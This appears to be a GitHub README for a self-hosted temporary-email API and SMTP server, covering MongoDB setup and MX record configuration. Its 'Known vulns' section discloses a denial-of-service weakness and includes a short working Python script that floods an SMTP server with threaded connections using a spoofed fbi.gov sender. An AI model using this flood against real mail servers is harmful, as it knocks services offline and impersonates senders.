/tempmail-api

Easy to use temp-mail api, start your own temp-mail today!

Primary LanguagePythonGNU General Public License v3.0GPL-3.0



Logo

Tempmail API/Server

Tempmail API aswell as a SMTP server.

Website · Report Bug · Request Feature


Setup

  • Firstly create a mongodb account, and proceed to create a new project.
  • Now create a new database.
  • Now goto the database overview and goto the collections tab.
  • Now create a new database / collection.
  • Now edit the following files and put your connection url inside.
API/database.py
SMTP/database.py
  • All you have to do now is run main.py on your vps.

Add domains

  1. Open your domain management

2. Go to advanced dns

3. Scroll down until you see mail settings

4. Select MXE Record

5. Put as the value

6. Save and done!

Known vulns

  • SMTP Connections, Spamming smtp connections and attempting to send an email will result in the api not responding until you stop trying to connect/send.
    import smtplib
    import threading
    
    def send():
        message = """From: dropout <dropout@fbi.gov>
        To: admin <user@domain.com>
        Subject: SMTP Vuln
    
        Naughty, Naughty vuln
        """
        try:
            smtp = smtplib.SMTP("stmp.server.com")
            smtp.sendmail("dropout@fbi.gov", "user@domain.com", message)         
        except Exception:
            pass
    
    if __name__ == "__main__":
        while True:
            threading.Thread(target=send).start()

Contact

View my contact information on my website